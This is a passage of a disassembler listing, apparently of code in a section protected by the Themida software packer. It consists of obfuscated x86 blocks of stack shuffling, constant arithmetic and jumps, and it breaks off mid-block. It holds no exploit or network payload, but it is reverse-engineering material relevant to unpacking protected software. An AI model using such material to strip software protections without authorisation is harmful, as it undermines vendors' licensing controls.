		pop	ecx
		xchg	edi, [esp]
		jmp	loc_561B1E
; ---------------------------------------------------------------------------


loc_56F2C4:				; CODE XREF: Themida_:00566419j
		mov	esp, [esp]
		movzx	ax, byte ptr [eax]
		push	ebx
		mov	ebx, esp
		push	esi
		jmp	loc_56722D
; ---------------------------------------------------------------------------


loc_56F2D4:				; CODE XREF: Themida_:0056F877j
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_56498B
; ---------------------------------------------------------------------------


loc_56F2EB:				; CODE XREF: Themida_:0056062Ej
		push	eax
		jmp	loc_56A0BD
; ---------------------------------------------------------------------------


loc_56F2F1:				; CODE XREF: Themida_:005650B3j
		mov	edx, 0E1F5897h
		mov	ebp, 73A922F3h
		jmp	loc_56B6E7
; ---------------------------------------------------------------------------


loc_56F300:				; CODE XREF: Themida_:00567A07j
		push	969h
		mov	[esp], esi
		mov	esi, 0DF2335F9h
		push	edi
		mov	edi, 396D26C8h
		jmp	loc_55D7AC
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	52DCh
		mov	[esp], edi
		push	1BC2h
		jmp	loc_567576
; ---------------------------------------------------------------------------


loc_56F32E:				; CODE XREF: Themida_:005706DBj
		mov	ebp, 13EC90DEh
		add	esi, ebp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_55E61C
; ---------------------------------------------------------------------------


loc_56F340:				; CODE XREF: Themida_:0056E548j
		mov	[esp], edx
		push	5B0Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5684C8
; ---------------------------------------------------------------------------


loc_56F357:				; CODE XREF: Themida_:0055F777j
		xchg	ecx, edi
		push	edx
		push	edi
		jmp	loc_562446
; ---------------------------------------------------------------------------


loc_56F360:				; CODE XREF: Themida_:00567D92j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 3BB66CAFh
		inc	ecx
		jmp	loc_56A187
; ---------------------------------------------------------------------------


loc_56F376:				; CODE XREF: Themida_:0055D95Dj
		xor	bl, dl
		jmp	loc_562EF0
; ---------------------------------------------------------------------------


loc_56F37D:				; CODE XREF: Themida_:0057102Fj
		push	ebx
		mov	ebx, 13D62849h
		mov	ebp, ebx
		jmp	loc_564879
; ---------------------------------------------------------------------------


loc_56F38A:				; CODE XREF: Themida_:0055E19Bj
		add	edi, 14D735C3h
		or	edi, 4B34654h
		add	edi, 9D58D2D9h
		mov	ecx, edi
		jmp	loc_561E6E
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56F3AB:				; CODE XREF: Themida_:0056A966j
		add	esi, edx
		pop	edx
		push	edi
		mov	edi, 4
		add	esi, edi
		push	dword ptr [esp]
		jmp	loc_564BFA
; ---------------------------------------------------------------------------


loc_56F3BE:				; CODE XREF: Themida_:0057032Cj
		mov	edi, [esp]
		add	esp, 4
		mov	eax, ebp
		jmp	loc_569030
; ---------------------------------------------------------------------------


loc_56F3CE:				; CODE XREF: Themida_:00562B8Aj
		mov	[esp], edx
		jmp	loc_56CD78
; ---------------------------------------------------------------------------


loc_56F3D6:				; CODE XREF: Themida_:00571D7Bj
		sub	al, 18h
		add	al, cl
		add	al, 18h
		pop	ecx
		mov	dh, 45h
		add	dh, 0E4h
		add	dh, 0CFh
		sub	dh, al
		jmp	loc_56A6EF
; ---------------------------------------------------------------------------


loc_56F3EC:				; CODE XREF: Themida_:0055ED2Ej
		pop	dword ptr [esp]
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		jmp	loc_566977
; ---------------------------------------------------------------------------


loc_56F3FE:				; CODE XREF: Themida_:005659FBj
		sub	eax, 4F9C2D39h
		mov	esi, eax
		jmp	loc_56CA7C
; ---------------------------------------------------------------------------


loc_56F40A:				; CODE XREF: Themida_:0056055Ej
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_56C72D
; ---------------------------------------------------------------------------


loc_56F419:				; CODE XREF: Themida_:00565F14j
		add	ebx, 38926E2Ch
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_56524D
; ---------------------------------------------------------------------------


loc_56F42B:				; CODE XREF: Themida_:0056CE32j
		push	edx
		jmp	loc_5646CA
; ---------------------------------------------------------------------------


loc_56F431:				; CODE XREF: Themida_:005600AEj
		push	dword ptr [esp+4]
		jmp	loc_560741
; ---------------------------------------------------------------------------


loc_56F43A:				; CODE XREF: Themida_:00566ECEj
		push	eax
		mov	eax, 307A62BCh
		add	ebp, eax
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_56B897
		push	dword ptr [edi+1Ch]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_560B1F
; ---------------------------------------------------------------------------


loc_56F465:				; CODE XREF: Themida_:00566850j
		xor	edx, edx
		push	edx
		push	ebx
		push	esi
		mov	esi, 3A51167Ch
		add	[esp+4], esi
		mov	esi, [esp]
		jmp	loc_55E091
; ---------------------------------------------------------------------------


loc_56F47B:				; CODE XREF: Themida_:0056404Dj
		xor	ecx, 1521FA5Ch
		jmp	loc_563B54
; ---------------------------------------------------------------------------


loc_56F486:				; CODE XREF: Themida_:0056BEEDj
		and	edx, 62B32125h
		xor	edx, 422D1ED2h
		add	edx, 0F85DF8h
		push	edi
		mov	edi, 0DE7B6239h
		add	edx, edi
		jmp	loc_565D74
; ---------------------------------------------------------------------------


loc_56F4A5:				; CODE XREF: Themida_:005620AAj
		add	eax, edi
		push	ebx
		jmp	loc_561E64
; ---------------------------------------------------------------------------


loc_56F4AD:				; CODE XREF: Themida_:005621EEj
		mov	esi, 72243429h
		add	esi, 4008112Eh
		shr	esi, 3
		add	esi, 0E754A131h
		jmp	loc_564BB1
; ---------------------------------------------------------------------------


loc_56F4C6:				; CODE XREF: Themida_:005628B9j
		sub	edi, 0EEDAF6F3h
		mov	esi, edi
		pop	edi
		shr	esi, 3
		and	esi, 4CD05A9Eh
		xor	esi, 78AC0A71h
		neg	esi
		jmp	loc_5682BF
; ---------------------------------------------------------------------------


loc_56F4E5:				; CODE XREF: Themida_:005724EBj
		push	small 640Fh
		mov	[esp], cx
		push	79FCh
		mov	[esp], ebx
		mov	bh, 19h
		push	ebx
		push	eax
		push	edx
		mov	dl, 40h
		mov	ah, dl
		pop	edx
		jmp	loc_56DF46
; ---------------------------------------------------------------------------


loc_56F504:				; CODE XREF: Themida_:00569877j
		add	esp, 4
		push	ecx
		push	esi
		add	dword ptr [esp], 78E43734h
		pop	ecx
		sub	ecx, 78E43734h
		mov	ebp, ecx
		jmp	loc_5706AD
; ---------------------------------------------------------------------------


loc_56F521:				; CODE XREF: Themida_:0056EB2Dj
		push	esi
		push	4
		jmp	loc_571544
; ---------------------------------------------------------------------------


loc_56F52C:				; CODE XREF: Themida_:0056BEDEj
		add	ebp, 0FFFFFFFFh
		jmp	loc_5707E9
; ---------------------------------------------------------------------------


loc_56F537:				; CODE XREF: Themida_:00562854j
		pop	eax
		jmp	loc_56E1EB
; ---------------------------------------------------------------------------


loc_56F53D:				; CODE XREF: Themida_:0055FDEAj
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_562530
; ---------------------------------------------------------------------------


loc_56F554:				; CODE XREF: Themida_:005615CEj
		push	5A35h
		jmp	loc_55E9F8
; ---------------------------------------------------------------------------


loc_56F55E:				; CODE XREF: Themida_:0056182Bj
		sub	ebx, 19CA9EEh
		add	eax, ebx
		pop	ebx
		sub	eax, 4
		jmp	loc_56ED9B
; ---------------------------------------------------------------------------


loc_56F56F:				; CODE XREF: Themida_:0055F3F8j
		push	ebx
		jmp	loc_567EC1
; ---------------------------------------------------------------------------


loc_56F575:				; CODE XREF: Themida_:00566753j
		not	edx
		add	edx, 0FA41F655h
		push	edx
		add	dword ptr [esp], 42EC7C62h
		pop	esi
		jmp	loc_570446
; ---------------------------------------------------------------------------


loc_56F58B:				; CODE XREF: Themida_:0056AA4Fj
		sub	eax, 0FFFFFFFFh
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 23B62372h
		inc	ebx
		or	ebx, 37453A39h
		add	ebx, 0C8DFE1Fh
		and	eax, ebx
		pop	ebx
		push	edx
		mov	edx, 2F294A77h
		jmp	loc_5625AD
; ---------------------------------------------------------------------------


loc_56F5B7:				; CODE XREF: Themida_:0056E6BEj
		push	1C28h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	3F3Ah
		jmp	loc_5653A9
; ---------------------------------------------------------------------------


loc_56F5CE:				; CODE XREF: Themida_:00569065j
		push	edx
		jmp	loc_5635FE
; ---------------------------------------------------------------------------


loc_56F5D4:				; CODE XREF: Themida_:0056BD8Cj
		add	edx, eax
		push	esi
		mov	esi, 5C916BD0h
		neg	esi
		neg	esi
		dec	esi
		push	ebx
		mov	ebx, 5CCF7994h
		xor	esi, ebx
		pop	ebx
		push	edi
		push	ebx
		jmp	loc_5644AD
; ---------------------------------------------------------------------------


loc_56F5F1:				; CODE XREF: Themida_:0056CEBAj
		mov	[esp], esi
		jmp	loc_5627AB
; ---------------------------------------------------------------------------


loc_56F5F9:				; CODE XREF: Themida_:00568004j
		add	eax, 58B23313h
		sub	eax, ebp
		sub	eax, 58B23313h
		pop	ebp
		push	755h
		mov	[esp], edi
		push	57CEh
		mov	[esp], eax
		mov	eax, 72BD229Dh
		push	esi
		mov	esi, 4A4E182Ch
		jmp	loc_5729DC
; ---------------------------------------------------------------------------


loc_56F626:				; CODE XREF: Themida_:0056FA5Dj
		sub	bl, al
		sub	bl, 0CCh
		push	cx
		mov	ch, 0CAh
		sub	bl, 0E1h
		sub	bl, 0C3h
		jmp	loc_571C54
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		sub	esp, 4
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		pop	esi
		push	1A4Ch
		mov	[esp], ebp
		jmp	loc_56B6BF
; ---------------------------------------------------------------------------


loc_56F65E:				; CODE XREF: Themida_:005705C1j
		mov	edi, edx
		pop	edx
		mov	esi, edi
		pop	edi
		push	edi
		mov	edi, 1
		jmp	loc_55F38B
; ---------------------------------------------------------------------------


loc_56F66F:				; CODE XREF: Themida_:00567885j
		xor	eax, 7CA87C6Dh
		sub	eax, 9C7F465Ch
		and	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55F1D2
; ---------------------------------------------------------------------------


loc_56F686:				; CODE XREF: Themida_:00567611j
		push	edx
		jmp	loc_567A51
; ---------------------------------------------------------------------------


loc_56F68C:				; CODE XREF: Themida_:0056A30Aj
		add	al, 2Bh
		mov	dl, al
		pop	eax
		sub	dl, ah
		jmp	loc_55EE7F
; ---------------------------------------------------------------------------


loc_56F698:				; CODE XREF: Themida_:0055E97Fj
		mov	eax, 62412F9Eh
		mov	edx, 2506487Ch
		push	ecx
		mov	ecx, 338C3F1Eh
		sub	edx, ecx
		jmp	loc_56D127
; ---------------------------------------------------------------------------


loc_56F6AF:				; CODE XREF: Themida_:00565A1Bj
		inc	ebp
		dec	ebp
		add	ebp, 0C936566Bh
		jmp	loc_561997
; ---------------------------------------------------------------------------


loc_56F6BC:				; CODE XREF: Themida_:005631BBj
		add	ecx, ebx
		pop	ebx
		add	ecx, ebp
		sub	ecx, 2330094Ah
		mov	ebp, [esp]
		add	esp, 4
		push	eax
		mov	eax, 2
		jmp	loc_5722FB
; ---------------------------------------------------------------------------


loc_56F6DB:				; CODE XREF: Themida_:00562CFCj
		xchg	dx, bx
		jmp	loc_56D20B
; ---------------------------------------------------------------------------


loc_56F6E3:				; CODE XREF: Themida_:0055EB28j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		dec	byte ptr [esp]
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56F6F8:				; CODE XREF: Themida_:0055F94Dj
		add	al, cl
		jmp	loc_56902A
; ---------------------------------------------------------------------------


loc_56F6FF:				; CODE XREF: Themida_:00568340j
		sub	esi, edi
		pop	edi
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5604BF
; ---------------------------------------------------------------------------


loc_56F70D:				; CODE XREF: Themida_:00570D6Cj
		add	ecx, 786E1A15h
		sub	edx, ecx
		jmp	loc_56B2A1
; ---------------------------------------------------------------------------


loc_56F71A:				; CODE XREF: Themida_:00567DBEj
		xchg	edx, [esp]
		pop	esp
		pop	edi
		push	esi
		push	edx
		push	58AD21FAh
		jmp	loc_567E0E
; ---------------------------------------------------------------------------


loc_56F72B:				; CODE XREF: Themida_:00569F9Ej
		mov	esi, 28C35898h
		jmp	loc_56CA07
; ---------------------------------------------------------------------------


loc_56F735:				; CODE XREF: Themida_:0055E00Bj
		add	eax, esi
		add	eax, 50272CFFh
		pop	esi
		sub	edi, 7F44615h
		add	edi, 45CA490Eh
		sub	edi, 0E07B3Bh
		add	edi, eax
		add	edi, 0E07B3Bh
		sub	edi, 45CA490Eh
		push	eax
		mov	eax, 7F44615h
		add	edi, eax
		pop	eax
		pop	eax
		jmp	loc_56C608
; ---------------------------------------------------------------------------


loc_56F76C:				; CODE XREF: Themida_:00561AAEj
		add	ebx, 19C168Eh
		add	ebx, edi
		sub	ebx, 19C168Eh
		jmp	loc_570D76
; ---------------------------------------------------------------------------


loc_56F77F:				; CODE XREF: Themida_:0056BA21j
		xor	edi, offset byte_480001
		add	ebx, edi
		jmp	loc_56B40F
; ---------------------------------------------------------------------------


loc_56F78C:				; CODE XREF: Themida_:00569BDDj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4923666Ch
		add	ebp, esi
		jmp	loc_571EC2
; ---------------------------------------------------------------------------


loc_56F7A1:				; CODE XREF: Themida_:005636B3j
		add	eax, ebp
		pop	ebp
		add	eax, ebp
		sub	eax, 16CC6EFFh
		jmp	loc_571E89
; ---------------------------------------------------------------------------


loc_56F7B0:				; CODE XREF: Themida_:0056B4CBj
		push	1040h
		mov	[esp], ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_56DF04
; ---------------------------------------------------------------------------


loc_56F7C5:				; CODE XREF: Themida_:005696F3j
		push	ebx
		push	6ECDh
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_56D79B
; ---------------------------------------------------------------------------


loc_56F7EC:				; CODE XREF: Themida_:0056CCD2j
		add	eax, ebp
		push	edx
		mov	edx, 3F36604Eh
		add	eax, edx
		pop	edx
		add	eax, 35171464h
		sub	eax, 4DA13895h
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_567B47
; ---------------------------------------------------------------------------


loc_56F81A:				; CODE XREF: Themida_:00571052j
		dec	esi
		not	esi
		not	esi
		jmp	loc_55D8BF
; ---------------------------------------------------------------------------


loc_56F824:				; CODE XREF: Themida_:0056D35Bj
		mov	esp, [esp]
		xor	ebp, 15E654D7h
		add	ebx, 7FB5470Fh
		jmp	loc_5705F7
; ---------------------------------------------------------------------------


loc_56F838:				; CODE XREF: Themida_:00561C22j
		mov	[esp], edi
		jmp	loc_55DD86
; ---------------------------------------------------------------------------


loc_56F840:				; CODE XREF: Themida_:00562274j
		xor	esi, 707B050Ch
		shr	esi, 8
		add	esi, 1
		push	ebp
		mov	ebp, 135873h
		xor	esi, ebp
		jmp	loc_55EB2D
; ---------------------------------------------------------------------------


loc_56F85C:				; CODE XREF: Themida_:0055FC02j
		push	4FC9h
		mov	[esp], esp
		jmp	loc_563EA5
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		push	esp
		jmp	loc_56F141
; ---------------------------------------------------------------------------


loc_56F874:				; CODE XREF: Themida_:0056CE10j
		mov	esi, [esp]
		jmp	loc_56F2D4
; ---------------------------------------------------------------------------


loc_56F87C:				; CODE XREF: Themida_:00572460j
		sub	eax, ebx
		pop	ebx
		sub	eax, ecx
		add	eax, 6C1D3D0Fh
		pop	ecx
		xchg	eax, [esp]
		jmp	loc_56DCAB
; ---------------------------------------------------------------------------


loc_56F88F:				; CODE XREF: Themida_:0056725Aj
		mov	ax, [esp]
		jmp	loc_568746
; ---------------------------------------------------------------------------


loc_56F898:				; CODE XREF: Themida_:00567EABj
		pop	esp
		add	edx, 4
		push	ebp
		push	eax
		jmp	loc_55EDB5
; ---------------------------------------------------------------------------


loc_56F8A6:				; CODE XREF: Themida_:005669B9j
		shr	edi, 6
		add	edi, 0FD6ADC5Eh
		add	ebx, edi
		pop	edi
		jmp	loc_56DBA3
; ---------------------------------------------------------------------------


loc_56F8B7:				; CODE XREF: Themida_:005679C1j
		pop	ebp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		jmp	loc_55FD7C
; ---------------------------------------------------------------------------


loc_56F8C6:				; CODE XREF: Themida_:005686D2j
		add	esp, 4
		add	edx, 4
		push	edi
		push	2FA0h
		mov	[esp], ebp
		push	eax
		mov	eax, 6D502318h
		mov	ebp, 78303607h
		sub	ebp, eax
		pop	eax
		mov	edi, ebp
		pop	ebp
		add	edi, 5CF33518h
		or	edi, 46F9659Ah
		dec	edi
		xchg	edx, edi
		xchg	ebx, edx
		jmp	loc_56CD8B
; ---------------------------------------------------------------------------


loc_56F902:				; CODE XREF: Themida_:00562534j
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_56F184
; ---------------------------------------------------------------------------


loc_56F924:				; CODE XREF: Themida_:00567013j
		pop	esi
		xchg	edi, [esp]
		pop	esp
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_55DB10
; ---------------------------------------------------------------------------


loc_56F937:				; CODE XREF: Themida_:0056A711j
		mov	ebp, 66470A4Ch
		add	ebp, 55317CB4h
		sub	ebp, 978C5044h
		mov	esi, ebp
		pop	ebp
		jmp	loc_566FEB
; ---------------------------------------------------------------------------


loc_56F950:				; CODE XREF: Themida_:005691B3j
		pop	edx
		mov	esi, ecx
		pop	ecx
		push	edi
		mov	edi, 40214940h
		sub	dword ptr [esp+8], 5E0C4983h
		sub	[esp+8], edi
		push	ebx
		jmp	loc_56BF9B
; ---------------------------------------------------------------------------


loc_56F96C:				; CODE XREF: Themida_:0056695Bj
		add	ebx, 0E00D23E7h
		push	244Eh
		mov	[esp], ebx
		push	ebp
		jmp	loc_5609D2
; ---------------------------------------------------------------------------


loc_56F980:				; CODE XREF: Themida_:0055F5BDj
		xchg	edx, [esp]
		jmp	loc_55E57D
; ---------------------------------------------------------------------------


loc_56F988:				; CODE XREF: Themida_:00565CC0j
		push	eax
		push	7CBF599Eh
		mov	eax, [esp]
		add	esp, 4
		neg	eax
		add	eax, 0BC0F6075h
		jmp	loc_55E494
; ---------------------------------------------------------------------------


loc_56F9A3:				; CODE XREF: Themida_:0056DB53j
		xor	eax, 8A335E43h
		push	ecx
		mov	ecx, 5D5C7FDEh
		add	ecx, 0BCA8467h
		sub	esi, ecx
		pop	ecx
		jmp	loc_55FDA4
; ---------------------------------------------------------------------------


loc_56F9BC:				; CODE XREF: Themida_:00570F5Bj
		add	esp, 4
		add	edx, ecx
		jmp	loc_572388
; ---------------------------------------------------------------------------


loc_56F9C9:				; CODE XREF: Themida_:0056E270j
		pop	ebx
		xchg	ebp, ebx
		dec	ebp
		xchg	ebp, ebx
		push	0
		jmp	loc_5635B8
; ---------------------------------------------------------------------------


loc_56F9D9:				; CODE XREF: Themida_:0055EE5Fj
		mov	ebp, [esp]
		jmp	loc_563F02
; ---------------------------------------------------------------------------


loc_56F9E1:				; CODE XREF: Themida_:0056A7C7j
		xor	eax, 7A0E7261h
		push	ebx
		mov	ebx, 5AB80069h
		jmp	loc_563021
; ---------------------------------------------------------------------------


loc_56F9F1:				; CODE XREF: Themida_:0055F087j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		neg	dl
		add	dl, 37h
		sub	al, dl
		pop	edx
		jmp	loc_566CE7
; ---------------------------------------------------------------------------


loc_56FA05:				; CODE XREF: Themida_:0056D309j
		sub	dword ptr [esp+4], 318D0DB9h
		add	[esp+4], eax
		add	dword ptr [esp+4], 318D0DB9h
		pop	eax
		pop	edi
		sub	edi, 1DC41F21h
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_562408
; ---------------------------------------------------------------------------


loc_56FA2D:				; CODE XREF: Themida_:0055FA3Dj
		mov	ecx, 7C907C29h
		xor	ebp, ecx
		pop	ecx
		jmp	loc_5708F5
; ---------------------------------------------------------------------------


loc_56FA3A:				; CODE XREF: Themida_:005615D4j
		mov	edi, 0FC40E800h
		sub	eax, edi
		pop	edi
		add	eax, ebx
		pop	ebx
		jmp	loc_5669BE
; ---------------------------------------------------------------------------


loc_56FA4A:				; CODE XREF: Themida_:00565AC4j
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_56FFC6
; ---------------------------------------------------------------------------


loc_56FA57:				; CODE XREF: Themida_:005617C0j
		xor	dl, 0B4h
		add	bl, dl
		pop	edx
		jmp	loc_56F626
; ---------------------------------------------------------------------------


loc_56FA62:				; CODE XREF: Themida_:0056220Cj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56CB31
; ---------------------------------------------------------------------------


loc_56FA70:				; CODE XREF: Themida_:0056B584j
		shr	ebx, 6
		not	ebx
		xor	ebx, 63ED5116h
		shr	ebx, 8
		push	edx
		mov	edx, 2C86A1DFh
		xor	ebx, edx
		pop	edx
		xor	esi, ebx
		pop	ebx
		mov	ebp, esi
		pop	esi
		push	eax
		jmp	loc_55FDBA
; ---------------------------------------------------------------------------


loc_56FA93:				; CODE XREF: Themida_:00566A81j
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_56886A
; ---------------------------------------------------------------------------


loc_56FAA2:				; CODE XREF: Themida_:0056E653j
		sub	bh, 0FFh
		inc	bh
		push	ecx
		push	ebx
		mov	bh, 14h
		mov	ch, 0D9h
		jmp	loc_5658FD
; ---------------------------------------------------------------------------


loc_56FAB2:				; CODE XREF: Themida_:0056949Bj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_568387
; ---------------------------------------------------------------------------


loc_56FAC8:				; CODE XREF: Themida_:00570292j
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		pop	esi
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esi, 4
		add	esi, 4
		push	3558h
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_560E84
; ---------------------------------------------------------------------------


loc_56FB0B:				; CODE XREF: Themida_:005724FFj
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55EB97
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56FB21:				; CODE XREF: Themida_:0056FF14j
		mov	ecx, esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, ecx
		push	edx
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_572246
; ---------------------------------------------------------------------------


loc_56FB3C:				; CODE XREF: Themida_:0056DFE6j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, 4EE80040h
		push	ecx
		mov	ecx, 688F04FBh
		add	ebx, ecx
		pop	ecx
		xor	ebx, 0B777053Fh
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		pop	esp
		push	7436h
		mov	[esp], edi
		push	esp
		jmp	loc_56B981
; ---------------------------------------------------------------------------


loc_56FB77:				; CODE XREF: Themida_:005656C2j
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		pop	ebp
		pop	edx
		mov	ebx, ebp
		pop	ebp
		xor	eax, ebx
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_55E0C1
; ---------------------------------------------------------------------------


loc_56FB9F:				; CODE XREF: Themida_:0056DF3Bj
		neg	edi
		add	edi, 3194644Bh
		xor	edi, 58425806h
		push	ebp
		jmp	loc_565636
; ---------------------------------------------------------------------------


loc_56FBB3:				; CODE XREF: Themida_:00566CC2j
		mov	ebp, 14780286h
		jmp	loc_564575
; ---------------------------------------------------------------------------


loc_56FBBD:				; CODE XREF: Themida_:00572689j
		mov	esi, 26586A87h
		add	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		div	cl
		jmp	loc_562859
; ---------------------------------------------------------------------------


loc_56FBDC:				; CODE XREF: Themida_:0056787Bj
		push	ebp
		push	ebx
		push	4876506Bh
		jmp	loc_55EB57
; ---------------------------------------------------------------------------


loc_56FBE8:				; CODE XREF: Themida_:005661A5j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_568B36
; ---------------------------------------------------------------------------


loc_56FBF3:				; CODE XREF: Themida_:0056DF59j
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jnz	loc_56B8CD
		sub	esp, 4
		mov	[esp], esi
		push	eax
		jmp	loc_56ADF2
; ---------------------------------------------------------------------------


loc_56FC0A:				; CODE XREF: Themida_:0056368Fj
		xor	ecx, 12C154ABh
		xor	ecx, 292747B1h
		shl	ecx, 4
		inc	ecx
		jmp	loc_568408
; ---------------------------------------------------------------------------


loc_56FC1F:				; CODE XREF: Themida_:005727A7j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_56FC24:				; CODE XREF: Themida_:00560673j
		neg	edi
		xor	edi, 2D2C6786h
		add	edi, 22AA44BAh
		or	edi, 7E4E748Ch
		add	edi, 5ACBB819h
		neg	edi
		jmp	loc_571FAC
; ---------------------------------------------------------------------------


loc_56FC45:				; CODE XREF: Themida_:00567EBCj
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_561C1D
; ---------------------------------------------------------------------------


loc_56FC53:				; CODE XREF: Themida_:005667F5j
		dec	cl
		sub	cl, 0D4h
		push	eax
		mov	al, 0A6h
		shl	al, 5
		jmp	loc_55FD02
; ---------------------------------------------------------------------------


loc_56FC63:				; CODE XREF: Themida_:005644F1j
		mov	edx, [esp]
		jmp	loc_55D89F
; ---------------------------------------------------------------------------


loc_56FC6B:				; CODE XREF: Themida_:0056D796j
		dec	ebp
		push	eax
		mov	eax, 5207182Ah
		add	ebp, eax
		jmp	loc_56C296
; ---------------------------------------------------------------------------


loc_56FC79:				; CODE XREF: Themida_:0055F4FEj
		neg	ebp
		push	ebx
		mov	ebx, 6E0D4FA2h
		sub	ebp, 2D253ED1h
		add	ebp, ebx
		add	ebp, 2D253ED1h
		pop	ebx
		sub	edi, ebp
		jmp	loc_565CC5
; ---------------------------------------------------------------------------


loc_56FC97:				; CODE XREF: Themida_:00567C24j
		add	esi, edx
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_56EEFD
; ---------------------------------------------------------------------------


loc_56FCA5:				; CODE XREF: Themida_:00570828j
		push	edx
		mov	edx, 612047A8h
		mov	ebp, edx
		pop	edx
		sub	ebp, 612047A4h
		push	ebp
		mov	ebp, 647445D9h
		add	ebp, 0AF2502DDh
		add	ebx, ebp
		pop	ebp
		add	ebx, ebp
		sub	ebx, 139948B6h
		jmp	loc_57202A
; ---------------------------------------------------------------------------


loc_56FCD0:				; CODE XREF: Themida_:0056682Cj
		add	ebx, edx
		sub	ebx, 3CA826DAh
		pop	edx
		sub	ebx, 36E233Eh
		add	ebx, edi
		push	eax
		mov	eax, 34261AF8h
		and	eax, 40B31F93h
		and	eax, 38C54096h
		sub	eax, 0FC91DD52h
		add	ebx, eax
		pop	eax
		push	30E7h
		mov	[esp], edx
		push	edi
		jmp	loc_56013E
; ---------------------------------------------------------------------------


loc_56FD07:				; CODE XREF: Themida_:00561CCBj
		mov	[esp], esi
		jmp	loc_56867F
; ---------------------------------------------------------------------------


loc_56FD0F:				; CODE XREF: Themida_:00569D46j
		push	ebp
		mov	ebp, 1E446A67h
		jmp	loc_5720BF
; ---------------------------------------------------------------------------


loc_56FD1A:				; CODE XREF: Themida_:0056A82Fj
		or	ebp, 32EE01DCh
		neg	ebp
		jmp	loc_561BBE
; ---------------------------------------------------------------------------


loc_56FD27:				; CODE XREF: Themida_:0055FC65j
		mov	ebp, [esp]
		add	esp, 4
		add	eax, edx
		sub	eax, 19DF6AFAh
		jmp	loc_56C702
; ---------------------------------------------------------------------------


loc_56FD3C:				; CODE XREF: Themida_:0055EEC1j
		mov	ebp, 33CC69FBh
		add	ebp, 11734928h
		jmp	loc_56CEF8
; ---------------------------------------------------------------------------


loc_56FD4C:				; CODE XREF: Themida_:0056B20Ej
		push	esi
		mov	esi, esp
		jmp	loc_568DD2
; ---------------------------------------------------------------------------


loc_56FD54:				; CODE XREF: Themida_:0056CBE8j
		push	edx
		jmp	loc_55F551
; ---------------------------------------------------------------------------


loc_56FD5A:				; CODE XREF: Themida_:00570C66j
		add	edx, 5224EABh
